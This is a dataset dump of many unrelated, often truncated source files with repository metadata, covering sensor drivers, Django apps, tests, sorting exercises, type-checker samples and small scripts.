5699dafae03660ced229e5fb381de892c3f83a6d | c4f7b067dbf9efa404d446453cdf2b0839d33fe1 | /src/sensorrunner/devices/SPI/ADC/device.py | 48e20b4d57883c0fadef06f30a025389e38cda66 | [] | no_license | JackBurdick/sensorrunner | 90e05e35381363ad28301b0e28579372fd78c179 | 506772d2ec4887b3890e4555b66bf5548910d020 | refs/heads/master | 2023-07-02T18:26:21.418501 | 2021-02-22T02:27:04 | 2021-02-22T02:27:04 | 298,879,591 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,386 | py | from sensorrunner.devices.sensor.SPI.ADC.light.pt19 import PT19
from gpiozero import MCP3008, Device
# from gpiozero.pins.mock import MockFactory
from gpiozero.pins.native import NativeFactory
Device.pin_factory = NativeFactory()
class MDC3800:
def __init__(
self,
name,
# devices
... | [
"jackbburdick@gmail.com"
] | jackbburdick@gmail.com |
eb1babf920093b006230d7ec6c101e59b897093d | cf91f1a6354ba7a803af8382e0ef8bde6175845e | /tests/test_with.py | 1fd2a1f616ddef483c4ca7b17a027e7e1cd824b0 | [] | permissive | mueslo/python-progressbar | a230dc1be0af48015215d10a6b21e1d15005ccb4 | 5621a26b51cddc3ce3f2b62a9e32a28eb60a2f84 | refs/heads/master | 2022-11-10T18:23:08.242413 | 2020-06-25T19:36:56 | 2020-06-25T19:36:56 | 275,635,088 | 0 | 0 | BSD-3-Clause | 2020-06-28T17:29:57 | 2020-06-28T17:29:56 | null | UTF-8 | Python | false | false | 429 | py | import progressbar
def test_with():
with progressbar.ProgressBar(max_value=10) as p:
for i in range(10):
p.update(i)
def test_with_stdout_redirection():
with progressbar.ProgressBar(max_value=10, redirect_stdout=True) as p:
for i in range(10):
p.update(i)
def test_w... | [
"Wolph@wol.ph"
] | Wolph@wol.ph |
01fd76371431a37e8804b4f2de5e71eb488b3154 | 0e9f73d2ef1239b22e049ef6338362da7dbfb122 | /source/web/Django/FatQuantsDjango/FatQuantsDjango/ticker/migrations/0097_auto_20190514_2147.py | 5d4d4dab7faf5ac58c7e11ed8ee2ae65fe9af49c | [] | no_license | Andy-Mason/FatQuants | 3c4bfafc29834af76b0be40e93b0e210e0ef5056 | edd0e98f4599ef91adbdf4179164769ddd66c62a | refs/heads/master | 2023-01-11T10:57:50.563742 | 2021-08-11T19:04:59 | 2021-08-11T19:04:59 | 73,127,295 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 745 | py | # Generated by Django 2.1.7 on 2019-05-14 20:47
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('ticker', '0096_auto_20190514_2147'),
]
operations = [
migrations.AddField(
model_name='ticker',
name='product_levera... | [
"Andy-Mason@users.noreply.github.com"
] | Andy-Mason@users.noreply.github.com |
385053382cb462ca295e3ea3ca1df86b6ad1b044 | 99b2aff89dcec2f43cee32a6bdd4c0c43d6c51fa | /tests/contract_tests/growl_tdg_garden/test_growl_tdg_garden_pick_intial_id.py | 1782590265f597e5d879efb03aac96504f4f4d5d | [
"MIT"
] | permissive | baking-bad/pytezos | c4248bde49a5b05521b8cc51eeca588b1a721660 | 19747e3acec2141f06e812025673f497fc07e2d4 | refs/heads/master | 2023-07-06T21:57:09.572985 | 2023-07-05T11:45:27 | 2023-07-05T11:45:27 | 169,243,460 | 115 | 43 | MIT | 2023-07-04T16:28:09 | 2019-02-05T13:12:50 | Python | UTF-8 | Python | false | false | 1,885 | py | import json
from os.path import dirname
from os.path import join
from unittest import TestCase
from pytezos.michelson.forge import forge_micheline
from pytezos.michelson.forge import unforge_micheline
from pytezos.michelson.program import MichelsonProgram
folder = 'typed_minter'
entrypoint = 'mint_TYPED'
class Main... | [
"noreply@github.com"
] | baking-bad.noreply@github.com |
bfdfc1a62852507f68a014cbcc9ad012b1f7e16e | 9139bd5dad2c66f070d1eb01958a11a2af1c9835 | /game-again.py | 224f4ce078f24c31bd6fed0be854de5fba7b5cf7 | [] | no_license | anmolrajaroraa/python-reg-oct | 7223487b864d969e89f9daae2a77522405977f27 | acb62ad7c8acb78f348bdc47e5ed6230808d967c | refs/heads/master | 2020-08-04T09:10:25.152732 | 2019-11-08T08:57:28 | 2019-11-08T08:57:28 | 212,085,152 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 292 | py | import pygame
pygame.init()
HEIGHT = 500
WIDTH = 1000
# red green blue (0-255)
BLACK = 0,0,0
WHITE = 255,255,255
RED = 255,0,0
RANDOM_COLOR = 100,150,200
gameboard = pygame.display.set_mode((WIDTH,HEIGHT))
while True:
print("!")
gameboard.fill( BLACK )
pygame.display.update( )
| [
"anmolarora1711@gmail.com"
] | anmolarora1711@gmail.com |
20ede17c952b40d8bfe9406df93dd193f5dceb68 | b4ddc954a7dc0d24352de64a567c10c9e7231eee | /LeetCode/Pascal_Triangle.py | 19ffa5bc0886c62656dc9045ad7221ae44c9f5e0 | [] | no_license | sharadbhat/Competitive-Coding | 4d80c99093bf05a2213799c95467309cf3e40d07 | 79eec04cc6b1ac69295530bda1575ecb613a769e | refs/heads/master | 2023-07-05T02:25:33.397140 | 2023-06-27T05:38:12 | 2023-06-27T05:38:12 | 78,031,600 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 490 | py | # LeetCode
# https://leetcode.com/problems/pascals-triangle/description/
class Solution(object):
def generate(self, numRows):
"""
:type numRows: int
:rtype: List[List[int]]
"""
if numRows == 0:
return []
l = [[1]]
for i in range(1, numRows):
... | [
"sharad.mbhat@gmail.com"
] | sharad.mbhat@gmail.com |
ba79f0a7a16eee2f5d086bd7d5e06adec8636825 | f10d45aecbfccb3f469ab0c4ae55fc0f256c9004 | /Functions/chr_ord.py | 80c8745e0e21329911e636eedb326846d34957cc | [] | no_license | Do-code-ing/Python_Built-ins | c34c1cea19a2cef80ab3a16d050e8825af0feb59 | 03b2f277acde4fce00bb521e3a0b8c0469b39879 | refs/heads/master | 2023-07-29T15:30:00.693005 | 2021-09-04T18:48:18 | 2021-09-04T18:48:18 | 354,467,767 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 518 | py | # chr(i) : character(int)
# ์ ๋์ฝ๋ ํฌ์ธํธ ์ ์ ๊ฐ์ ์
๋ ฅํ๋ฉด ํด๋น ์ ์ ๊ฐ์ ์ ๋์ฝ๋ ๋ฌธ์์ด์ ๋ฐํํ๋ค.
# i ๊ฐ 0 ~ 1,114,111(16์ง์๋ก 0x10FFFF)๋ฅผ ๋ฒ์ด๋๋ฉด 'ValueError'๊ฐ ๋ฐ์ํ๋ค.
# ์ ์๋ฅผ ๋ฌธ์๋ก
print(chr(8364))
# 'โฌ'
# ord(c) : ordinary character(character)
# ์ ๋์ฝ๋ ๋ฌธ์์ด์ด ์ฃผ์ด์ง๋ฉด ํด๋น ๋ฌธ์์ ์ ๋์ฝ๋ ์ฝ๋ ํฌ์ธํธ ์ ์ ๊ฐ์ ๋ฐํํ๋ค.
# chr() ์ ๋ฐ๋๋ก ์๋ํ๋ค.
# ๋ฌธ์๋ฅผ ์ ์๋ก
print(ord("โฌ"))
# 8364 | [
"zxcvbn658@naver.com"
] | zxcvbn658@naver.com |
ea0d2d7415c8d98590a6caf8cc4bb1aa659fd24e | 1457bf059b94e04d4d512012b28a924167c68938 | /NetworkBehaviour/Basics/Normalization_Sparse.py | 164188463a9a59cb81bc31b3411633742dab0ba2 | [] | no_license | YaminaDJOUDI/PymoNNto | e063c81547d41a9841ff8f8071c4d6347ce792da | 807aa7e0ba38cb29ad7839b39f29752da00eee78 | refs/heads/master | 2023-07-08T03:06:41.722292 | 2021-08-04T11:30:52 | 2021-08-04T11:30:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 850 | py | import numpy as np
scipy.sparse
def normalize_synapse_attr_sparse(src_attr, target_attr, target_value, neurons, synapse_type):
neurons.temp_weight_sum = neurons.get_neuron_vec()
for s in neurons.afferent_synapses[synapse_type]:
if 'sparse' in s.tags:
s.dst.temp_weight_sum += np.array(get... | [
"mv15go@gmail.com"
] | mv15go@gmail.com |
e0af98a161bb2fe76f40a9dab414307691aed916 | cdecfcc56973ae143f04a9e92225c5fc90a052ab | /tracing/tracing/value/diagnostics/reserved_infos.py | 13aedf28520e992994fa0efa641eba6d7f919036 | [
"BSD-3-Clause"
] | permissive | eugenesavenko/catapult | 8e43adab9a4650da4e8e1860f3b9b49936955aae | f2ad70de40a8f739438d89b0c8d5ed6509b3cbe6 | refs/heads/master | 2021-05-05T17:31:51.483972 | 2017-09-13T15:10:56 | 2017-09-13T15:10:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,662 | py | # Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
class _Info(object):
def __init__(self, name, _type=None, entry_type=None):
self._name = name
self._type = _type
if entry_type is not None and... | [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
286e5a84629ddfa8a87808ef1f9d99445655a7e5 | 7e79ca343d8d3246fc783161673550f6e4ae8896 | /tests/test_search.py | 73b1bddf6e9c87215ffb0554d6c68407a13132a2 | [
"MIT"
] | permissive | interrogator/buzz | 5ba0907115aa29efc24f016d1345a0371b91350a | 7627b8ce4a286f65388f0825487441df00055b39 | refs/heads/master | 2023-04-02T03:18:01.691139 | 2020-11-19T12:00:21 | 2020-11-19T12:00:21 | 163,623,092 | 42 | 2 | MIT | 2023-03-25T00:51:45 | 2018-12-30T22:55:18 | Python | UTF-8 | Python | false | false | 2,544 | py | import unittest
from buzz.corpus import Corpus
class TestSearch(unittest.TestCase):
@classmethod
def setUpClass(cls):
""" get_some_resource() is slow, to avoid calling it for each test use setUpClass()
and store the result as class variable
"""
super().setUpClass()
... | [
"mcddjx@gmail.com"
] | mcddjx@gmail.com |
de198265ca023fde36b1896bd7f7a3c4b83a552d | d94b6845aeeb412aac6850b70e22628bc84d1d6d | /bigg/bigg/torch_ops/tensor_ops.py | 9f544ab7efd4d3e2c752d63f5d72056f16c23cef | [
"CC-BY-4.0",
"Apache-2.0"
] | permissive | ishine/google-research | 541aea114a68ced68736340e037fc0f8257d1ea2 | c1ae273841592fce4c993bf35cdd0a6424e73da4 | refs/heads/master | 2023-06-08T23:02:25.502203 | 2023-05-31T01:00:56 | 2023-05-31T01:06:45 | 242,478,569 | 0 | 0 | Apache-2.0 | 2020-06-23T01:55:11 | 2020-02-23T07:59:42 | Jupyter Notebook | UTF-8 | Python | false | false | 3,956 | py | # coding=utf-8
# Copyright 2023 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | [
"copybara-worker@google.com"
] | copybara-worker@google.com |
b7b026f7642d82363d9802fe0d817ba66118aad4 | 9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97 | /sdBs/AllRun/ec_11022-1357/sdB_EC_11022-1357_lc.py | 350257c414f2078d50e83da141fccc17f22aa32c | [] | no_license | tboudreaux/SummerSTScICode | 73b2e5839b10c0bf733808f4316d34be91c5a3bd | 4dd1ffbb09e0a599257d21872f9d62b5420028b0 | refs/heads/master | 2021-01-20T18:07:44.723496 | 2016-08-08T16:49:53 | 2016-08-08T16:49:53 | 65,221,159 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 351 | py | from gPhoton.gAperture import gAperture
def main():
gAperture(band="NUV", skypos=[166.190667,-14.236356], stepsz=30., csvfile="/data2/fleming/GPHOTON_OUTPU/LIGHTCURVES/sdBs/sdB_EC_11022-1357 /sdB_EC_11022-1357_lc.csv", maxgap=1000., overwrite=True, radius=0.00555556, annulus=[0.005972227,0.0103888972], verbose=3)
if _... | [
"thomas@boudreauxmail.com"
] | thomas@boudreauxmail.com |
0bd82e74ba3c6621cb7fa14b9f43311bc864df59 | 3a28b1a12d0710c06f6360381ad8be6cf3707907 | /modular_model/triHPC/triHPCThermo/HPCAllTrays23CstmVapN2.py | b31256787ee26b7321199ab3098b7e3d1d66394a | [] | no_license | WheatZhang/DynamicModelling | 6ce1d71d3b55176fd4d77a6aedbaf87e25ce4d02 | ea099245135fe73e8c9590502b9c8b87768cb165 | refs/heads/master | 2020-06-15T14:12:50.373047 | 2019-07-05T01:37:06 | 2019-07-05T01:37:06 | 195,319,788 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 307 | py | def VapN2(P,T,x_N2):
x = (P-5.50184878e+02)/3.71707400e-01
y = (T--1.77763832e+02)/1.81029000e-02
z = (x_N2-9.82420040e-01)/2.44481265e-03
output = \
1*-8.60567815e-01+\
z*1.86073097e+00+\
y*8.60696199e-01+\
x*-4.21414345e-01
y_N2 = output*1.31412243e-03+9.90969573e-01
return y_N2 | [
"1052632241@qq.com"
] | 1052632241@qq.com |
7a09c2d76104f8dd348cfb5c054d8ed6d565d3e1 | b212ec9d705fb77cac102dceb12eb668099fd1ae | /oop/exams/december_2020/tests/project/spaceship/spaceship.py | 0defe638ec725097b266e2afa6f7fdba3fb197b5 | [] | no_license | xpucko/Software-University-SoftUni | 20ef91a0be91a8a09a56d9fdc15888f91409de2f | a1fc1781424f025954948299be7f75d317e32dc1 | refs/heads/master | 2023-02-04T11:58:33.068431 | 2020-12-24T00:39:11 | 2020-12-24T00:39:11 | 280,227,310 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,052 | py | class Spaceship:
SPACESHIP_FULL = "Spaceship is full"
ASTRONAUT_EXISTS = "Astronaut {} Exists"
ASTRONAUT_NOT_FOUND = "Astronaut Not Found"
ASTRONAUT_ADD = "Added astronaut {}"
ASTRONAUT_REMOVED = "Removed {}"
ZERO_CAPACITY = 0
def __init__(self, name: str, capacity: int):
self.name ... | [
"hristiyan.plamenov.valchev@gmail.com"
] | hristiyan.plamenov.valchev@gmail.com |
a67b3be8bf770a11a0515a42fe9e37b479324764 | 297497957c531d81ba286bc91253fbbb78b4d8be | /testing/web-platform/tests/tools/manifest/utils.py | 5cd53c22e7745bd3656dadd6940aa4d5f33f4f19 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] | permissive | marco-c/gecko-dev-comments-removed | 7a9dd34045b07e6b22f0c636c0a836b9e639f9d3 | 61942784fb157763e65608e5a29b3729b0aa66fa | refs/heads/master | 2023-08-09T18:55:25.895853 | 2023-08-01T00:40:39 | 2023-08-01T00:40:39 | 211,297,481 | 0 | 0 | NOASSERTION | 2019-09-29T01:27:49 | 2019-09-27T10:44:24 | C++ | UTF-8 | Python | false | false | 2,232 | py | import os
import subprocess
import sys
from typing import Any, Callable, Generic, Optional, Text, TypeVar
T = TypeVar("T")
def rel_path_to_url(rel_path: Text, url_base: Text = "/") -> Text:
assert not os.path.isabs(rel_path), rel_path
if url_base[0] != "/":
url_base = "/" + url_base
if url_base[-1... | [
"mcastelluccio@mozilla.com"
] | mcastelluccio@mozilla.com |
c10025495e49e178e839ee495b8d2b7559ca3fc4 | 6b16458a0c80613a66c251511462e7a7d440970e | /packages/pyright-internal/src/tests/samples/variadicTypeVar5.py | 8089b00a89ef9b4f7adfc12be8efb3939e34e3d4 | [
"MIT",
"LicenseRef-scancode-generic-cla"
] | permissive | ikamensh/pyright | 3bbbb2cf1a1bdbbecb89ef389036756f47ef7114 | 5ea620ad2008de57dcac720a84674bdb712bffc4 | refs/heads/main | 2023-08-26T05:54:43.660282 | 2021-10-30T16:35:06 | 2021-10-30T16:35:06 | 422,952,836 | 0 | 0 | NOASSERTION | 2021-10-30T17:52:03 | 2021-10-30T17:52:02 | null | UTF-8 | Python | false | false | 2,648 | py | # This sample tests the handling of variadic type variables used
# within Callable types.
# pyright: reportMissingModuleSource=false
from typing import Any, Callable, Literal, Protocol, Union
from typing_extensions import TypeVarTuple, Unpack
_Xs = TypeVarTuple("_Xs")
def func1(func: Callable[[int, Unpack[_Xs]], A... | [
"erictr@microsoft.com"
] | erictr@microsoft.com |
f8efb8796402968e0d65adeb58b5693319539a4e | ef60f1908dba8f3854148ad1395db43a23caa850 | /libsystem/libsystem/wsgi.py | f884fcdd95b3300a8580e6a00c1f1d0ebd85e469 | [] | no_license | Richardo3/libsystem | 797403038e23778843fc7bc4146bc37eaaa11361 | 8f025a1bfd7e902b6871cac8ccbd85503de67990 | refs/heads/master | 2020-05-04T19:43:50.454937 | 2019-04-05T09:11:47 | 2019-04-05T09:11:47 | 179,405,561 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 396 | py | """
WSGI config for libsystem project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SE... | [
"xwp_fullstack@163.com"
] | xwp_fullstack@163.com |
e87040c6a1bd846558f8c253422413cbb91f6f5f | 161daf1046832d25e66858157f95eb226ecf7cdf | /Linear Regression/Single Variable Linear Regression Manually.py | 6919d3f1af1bf449d416df7b20ca966b71574d64 | [] | no_license | Dipeshpal/Machine-Learning | 551552c0f5fc922aa6f9f5ec5d522db983ae6063 | 626516ef9f0d63a67a073eab4fc266fd6510e482 | refs/heads/master | 2022-07-05T22:19:38.050175 | 2019-07-10T09:05:31 | 2019-07-10T09:05:31 | 188,903,340 | 0 | 0 | null | 2022-06-21T22:05:10 | 2019-05-27T20:10:12 | Python | UTF-8 | Python | false | false | 2,101 | py | # Linear Regression
# Import Libraries
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
# load dataset
dataset = pd.read_csv('headbrain.csv')
# dropping ALL duplicate values
dataset.drop_duplicates(keep=False, inplace=True)
print("Dataset head: ", dataset.head())
print("Da... | [
"dipeshpal17@gmail.com"
] | dipeshpal17@gmail.com |
aeb178754d3e11d4c0785eac82d396cb1a9efc7e | c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c | /cases/synthetic/prime-big-431.py | 6dff84319c64e9671d5fbc210e23958e95c5317e | [] | no_license | Virtlink/ccbench-chocopy | c3f7f6af6349aff6503196f727ef89f210a1eac8 | c7efae43bf32696ee2b2ee781bdfe4f7730dec3f | refs/heads/main | 2023-04-07T15:07:12.464038 | 2022-02-03T15:42:39 | 2022-02-03T15:42:39 | 451,969,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,705 | py | # Get the n-th prime starting from 2
def get_prime(n:int) -> int:
candidate:int = 2
found:int = 0
while True:
if is_prime(candidate):
found = found + 1
if found == n:
return candidate
candidate = candidate + 1
return 0 # Never happens
def is_prime... | [
"647530+Virtlink@users.noreply.github.com"
] | 647530+Virtlink@users.noreply.github.com |
6cd6e5909a0368323c8af0e4fa9a44957c2f0f36 | 5636cb0c282d03e91a830d30cec3bd54c225bd3b | /P_05_AlgorithmiqueProgrammation/03_Tris/TD_01_Bulles/programmes/tri_bulles.py | 3cb89b551a595d40d3e8a838803994b50a2c38c8 | [] | no_license | xpessoles/Informatique | 24d4d05e871f0ac66b112eee6c51cfa6c78aea05 | 3cb4183647dc21e3acbcbe0231553a00e41e4e55 | refs/heads/master | 2023-08-30T21:10:56.788526 | 2021-01-26T20:57:51 | 2021-01-26T20:57:51 | 375,464,331 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 508 | py | import random
def tri_bulles_naif(l):
for i in range(0,len(l)-1):
for j in range(0,len(l)-1):
if l[j]>l[j+1]:
l[j],l[j+1]=l[j+1],l[j]
def tri_bulles(l):
for i in range(0,len(l)-1):
for j in range(0,len(l)-i-1):
if l[j]>l[j+1]:
l[j],l[j... | [
"xpessoles.ptsi@free.fr"
] | xpessoles.ptsi@free.fr |
1085ba45a8f735ea9ea5fa371a548f5de125ee1a | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/leap/a3b8b55879a04bce804d9c199db55772.py | c6ce2afde394c9c920e45ec48d6cd4dde93f53ae | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 416 | py | __author__ = 'Ben'
# on every year that is evenly divisible by 4
# except every year that is evenly divisible by 100
# unless the year is also evenly divisible by 400
def is_leap_year(year):
if year % 4 == 0 and year % 100 == 0 and year % 400 == 0:
return True
if year % 4 == 0 and year % 100 == 0... | [
"rrc@berkeley.edu"
] | rrc@berkeley.edu |
feaa11ac9c9654dcac5b82c4723fcf59931647f2 | ce60f76c6ad4c48fd6182240b302ee057809cc66 | /extra/jobqueue/dispatcher.py | a9f043e8fc7ee4f9dd606e8201f33c3083a2c6dd | [
"MIT",
"LicenseRef-scancode-public-domain"
] | permissive | bumps/bumps | 8ae10e8d15c0aa64e0bab6e00e7fabb2ca1b0860 | 2594e69567d534b434dc0eae727b77fdeff411d4 | refs/heads/master | 2023-08-22T17:56:49.987181 | 2023-07-26T14:22:23 | 2023-07-26T14:22:23 | 2,799,064 | 48 | 28 | NOASSERTION | 2023-07-26T14:22:24 | 2011-11-17T22:22:02 | Python | UTF-8 | Python | false | false | 6,471 | py |
from datetime import datetime, timedelta
import logging
from sqlalchemy import and_, or_, func, select
from sqlalchemy.exc import IntegrityError
from sqlalchemy.orm.exc import NoResultFound
from . import runjob, store, db, notify
from .db import Job, ActiveJob
class Scheduler(object):
def __init__(self):
... | [
"paul.kienzle@nist.gov"
] | paul.kienzle@nist.gov |
eebbab8cc0fe982d9573dbef8fc19af5181a7c48 | 9b77f1e31d5901924431a2a3164312cc346bde4f | /ADI_MINI_PROJECT/blog/views.py | 77aca8b4054fcba1c1dd859c800aa3a307556c0c | [] | no_license | Adi19471/Djnago_Code-Daily | c2184bf21db5c8d4b3c4098fbd593e4949375ae8 | 03b1b70d3e187fe85eb24e88b7ef3391b14aa98c | refs/heads/master | 2023-08-14T14:36:36.144243 | 2021-09-20T12:52:46 | 2021-09-20T12:52:46 | 375,690,484 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,673 | py | from django.shortcuts import render,HttpResponseRedirect
from .forms import SignupForm,LoginForm,PostForm
from django.contrib import messages
from django.contrib.auth import authenticate,login,logout
from .models import Post
# home page
def home(request):
posts = Post.objects.all()
return render(request, ... | [
"akumatha@gmail.com"
] | akumatha@gmail.com |
35a9a876dc10d8de63623e6d3d37890bb3842900 | bea3febeda4c0688dfbb2db584ab4f7d710040e0 | /django/cbv/person/views.py | c954514b57714390b9b1210f810dd5c51ab31499 | [] | no_license | airpong/TIL-c9 | c471ac73e23716cf677ba590dd6099e584c42883 | 069cc53820a09cd9787765ad41ba7e792dc342b5 | refs/heads/master | 2022-12-12T22:26:23.147651 | 2019-06-27T08:24:44 | 2019-06-27T08:24:44 | 166,777,129 | 0 | 0 | null | 2022-11-22T03:46:57 | 2019-01-21T08:34:01 | Python | UTF-8 | Python | false | false | 999 | py | from django.shortcuts import render,redirect
from .models import Person
from .forms import PersonForm
from django.views.generic import ListView,CreateView
from django.contrib.auth.mixins import LoginRequiredMixin
# Create your views here.
# def list(request):
# people = Person.objects.all()
# return render(requ... | [
"giponge@gmail.com"
] | giponge@gmail.com |
18f7fd778281764630b6d87c06f297330644c9a1 | 7bededcada9271d92f34da6dae7088f3faf61c02 | /pypureclient/flasharray/FA_2_17/models/reference_with_type.py | 686da10b71d57d6ece1d116f5a7668ce8c35aa23 | [
"BSD-2-Clause"
] | permissive | PureStorage-OpenConnect/py-pure-client | a5348c6a153f8c809d6e3cf734d95d6946c5f659 | 7e3c3ec1d639fb004627e94d3d63a6fdc141ae1e | refs/heads/master | 2023-09-04T10:59:03.009972 | 2023-08-25T07:40:41 | 2023-08-25T07:40:41 | 160,391,444 | 18 | 29 | BSD-2-Clause | 2023-09-08T09:08:30 | 2018-12-04T17:02:51 | Python | UTF-8 | Python | false | false | 4,557 | py | # coding: utf-8
"""
FlashArray REST API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 2.17
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re
import six
import typing
from ... | [
"noreply@github.com"
] | PureStorage-OpenConnect.noreply@github.com |
0f7ec680721030d047f06b1b94341a7c982454b5 | 402ef712e2d98bb616e64eb7d57145a643ad61d7 | /backend/mobile_testing_app__15569/wsgi.py | 7832e8909382ddeb029a4fbf984861ab927942fb | [] | no_license | crowdbotics-apps/mobile-testing-app--15569 | ce5299c1dc7b5ebf531043dbe7614c7206880ce0 | 5c6e5f045a9ba80592e81584ac7c88ea53eabdfa | refs/heads/master | 2023-01-24T21:54:07.548231 | 2020-11-24T06:01:05 | 2020-11-24T06:01:05 | 315,533,722 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 427 | py | """
WSGI config for mobile_testing_app__15569 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdef... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
235f40b873b377065055784a18c708cd33c11a20 | dbdb9b2102b25808f0363d50ff85626921b1c70a | /rest_api_3_product/settings.py | baee96ac579b1af253e75334bad35faaa15bf71c | [] | no_license | vinodkumar96/rest_api_3_product | dee834e704c25c812ba94a682641ab7f9bcabd44 | b0be03b80d7b59ef4d81e02f977c5ed1df862709 | refs/heads/master | 2020-07-04T20:38:15.552542 | 2019-08-14T19:08:09 | 2019-08-14T19:08:09 | 202,409,475 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,242 | py | """
Django settings for rest_api_3_product project.
Generated by 'django-admin startproject' using Django 2.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
i... | [
"vinodkumaryv96@gmail.com"
] | vinodkumaryv96@gmail.com |
b03de72493e2c78c1000ad28f82b270dba2b5ebb | f13acd0d707ea9ab0d2f2f010717b35adcee142f | /Others/soundhound/soundhound2018-summer-qual/c.py | b42363ae9f79c07d25224a6872610f1bc11e50c0 | [
"CC0-1.0",
"LicenseRef-scancode-public-domain"
] | permissive | KATO-Hiro/AtCoder | 126b9fe89fa3a7cffcbd1c29d42394e7d02fa7c7 | bf43320bc1af606bfbd23c610b3432cddd1806b9 | refs/heads/master | 2023-08-18T20:06:42.876863 | 2023-08-17T23:45:21 | 2023-08-17T23:45:21 | 121,067,516 | 4 | 0 | CC0-1.0 | 2023-09-14T21:59:38 | 2018-02-11T00:32:45 | Python | UTF-8 | Python | false | false | 797 | py | # -*- coding: utf-8 -*-
def main():
n, m, d = map(int, input().split())
# KeyInsight
# ๆๅพ
ๅคใฎ็ทๅฝขๆง
# See:
# https://img.atcoder.jp/soundhound2018-summer-qual/editorial.pdf
# https://mathtrain.jp/expectation
# ๆฐใใคใใ็น
# ๆ็ด่งฃใๆธใๅบใใ
# ้ฃใๅใ2้
ใm - 1้ใใใ
# ่งฃ็ญใพใงใฎใฎใฃใใ
... | [
"k.hiro1818@gmail.com"
] | k.hiro1818@gmail.com |
579b09ba8c6ea43f5b254fc7bfcff355538a029b | aa369073fab4f8e13ac27a714fe0d975a5a4a9ed | /algorithms/contextlib/contextlib_decorator.py | e31081404750566ee6b97aecadeb90d4fa43ebe0 | [] | no_license | ramsayleung/python3-module-of-week | 4076599a8b1d8aa5794de5d73e2083555abe9f0c | 54266c7e62025c3816a6987191c40f3bc0fdd97c | refs/heads/master | 2021-06-18T09:07:30.256614 | 2017-06-25T10:14:54 | 2017-06-25T10:14:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 583 | py | import contextlib
class Context(contextlib.ContextDecorator):
def __init__(self, how_used):
self.how_used = how_used
print('__init__({})'.format(how_used))
def __enter__(self):
print('__enter__({})'.format(self.how_used))
return self
def __exit__(self, exc_type, exc_val,... | [
"samrayleung@gmail.com"
] | samrayleung@gmail.com |
234dd1f7bc842aa839543c69dc1229e4cbfc4ef0 | 299e2c985b4a2921b150579955e7c60eee094397 | /news/migrations/0006_auto_20190628_1447.py | 9bd54a81c13dcf49ebf7819d2ee21928410fb2e4 | [
"MIT"
] | permissive | Nigar-mr/News | 48d58fbaab0f2bb8cc717323449d7eba14b94918 | b75b78cc9fa64259f4239b1d456daa5224040ce4 | refs/heads/master | 2020-06-17T15:20:05.411391 | 2019-07-09T08:21:24 | 2019-07-09T08:21:24 | 195,961,863 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 407 | py | # Generated by Django 2.2.2 on 2019-06-28 10:47
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('news', '0005_remove_headermodel_dropdown'),
]
operations = [
migrations.AlterField(
model_name='headermodel',
name='... | [
"nigar-muradli@mail.ru"
] | nigar-muradli@mail.ru |
4be510286a64309365e96715a1c1baddce168127 | 24fe1f54fee3a3df952ca26cce839cc18124357a | /servicegraph/lib/python2.7/site-packages/acimodel-4.0_3d-py2.7.egg/cobra/modelimpl/comp/accessp.py | 6214ab713e8f774ee7c5499f70f913487eac8f0d | [] | no_license | aperiyed/servicegraph-cloudcenter | 4b8dc9e776f6814cf07fe966fbd4a3481d0f45ff | 9eb7975f2f6835e1c0528563a771526896306392 | refs/heads/master | 2023-05-10T17:27:18.022381 | 2020-01-20T09:18:28 | 2020-01-20T09:18:28 | 235,065,676 | 0 | 0 | null | 2023-05-01T21:19:14 | 2020-01-20T09:36:37 | Python | UTF-8 | Python | false | false | 5,062 | py | # coding=UTF-8
